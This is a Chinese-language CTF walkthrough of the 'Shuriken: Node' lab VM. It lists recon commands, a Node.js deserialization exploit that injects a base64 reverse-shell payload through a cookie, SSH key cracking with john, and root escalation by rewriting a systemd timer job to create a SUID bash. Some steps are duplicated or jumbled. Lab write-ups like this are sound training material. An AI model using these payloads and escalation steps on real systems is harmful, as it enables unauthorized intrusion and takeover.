SHURIKEN: NODE
一、基本信息
名称:Shuriken: Node
发布日期:2020.12.13
作者:TheCyb3rW0lf
系列:Shuriken
二、靶机简介
Flags:
serv-adm:/~/user.txt
root:/root/root.txt难度:困难
三、文件信息
文件名:Shuriken_Node.ova
文件大小:2.5GB
下载地址:
MD5: 5EEFC9733F218D3EB5E96CA231204BAC
SHA1: BE48EB2CE8B9FAA6C016BAE4776869F873F6B2B9
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(ubuntu)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机shuriken_node和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放了22和8080端口,访问8080,查看源码没有什么线索:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.125 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,也没有过多线索:
1 gobuster dir -u http://192.168.56.125:8080 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
Node.js漏洞利用
1.根据主页提示,我们需要关注Node.js相关的问题,在exploit-db查询node.js相关的漏洞(https://www.exploit-db.com/exploits/41289):
2.根据漏洞文档描述,我们在https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py下能够找到利用程序,在kali上获取一下:
1 wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py3.利用nodejsshell.py生成设定的ip和端口的shellcode,根据漏洞文档描述,要将shellcode加载后进行base64编码:
1 python nodejsshell.py 192.168.56.102 90024.利用漏洞文档提供的加载器,再在https://gchq.github.io/CyberChef/上进行base64转换后,kali监听对应端口,把payload注入到cookie中:
1 {"rce":"_$$ND_FUNC$$_function ()}()"},加载器
SSH免密登录,初步提权
1.注入cookie后,我们就获得了shell,利用python构建交互式shell:
2.查看文件权限,发现/var/backups目录下有ssh-backup.zip文件,解压后得到一个id_rsa:
1
2
3 cd ~
ls -la /var/backups
unzip ssh-backup.zip3.我们在/home目录下能够再发现serv-adm用户,这个密钥很可能就是该用户的:
1
2 cd /home
ls -la4.id_rsa是一个加密了的密钥,我们把它复制到kali,利用ssh2john进行解密后ssh登录serv-adm:
1
2
3 vim id_rsa.enc
/usr/share/john/ssh2john.py id_rsa.enc > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash
1
2
3
4 openssl rsa -in id_rsa.enc -out id_rsa,pasword是刚才john解出的密码
chmod 600 id_rsa
ssh serv-adm@192.168.56.125 -i id_rsa
root提权
1.在ser-adm用户目录下,能够发现第一个flag,user.txt:
1
2
3 cd ~
ls -la
cat user.txt2.利用sudo -l命令查看文件权限,发现有定时文件:
1
2
3 cd ~
ls -la
cat user.txt3.我们查看一下shuriken-auto.timer,发现他定时执行shuriken-job.service,我们可以修改job为我们需要的提权程序:
1
2
3 cd /etc/systemd/system
ls -la
cat shuriken-auto.timer
1 nano shuriken-job.service
Flag获取
1.现在我们能重启一下时间器,获得用于提权的bashroot,执行触发获得root权限:
1
2
3 sudo systemctl stop shuriken-auto.timer
sudo systemctl start shuriken-auto.timer
/tmp/bashroot -p2.在/root目录下能够发现第二个flag,root.txt:
1
2
3 cd /root
ls -la
cat root.txt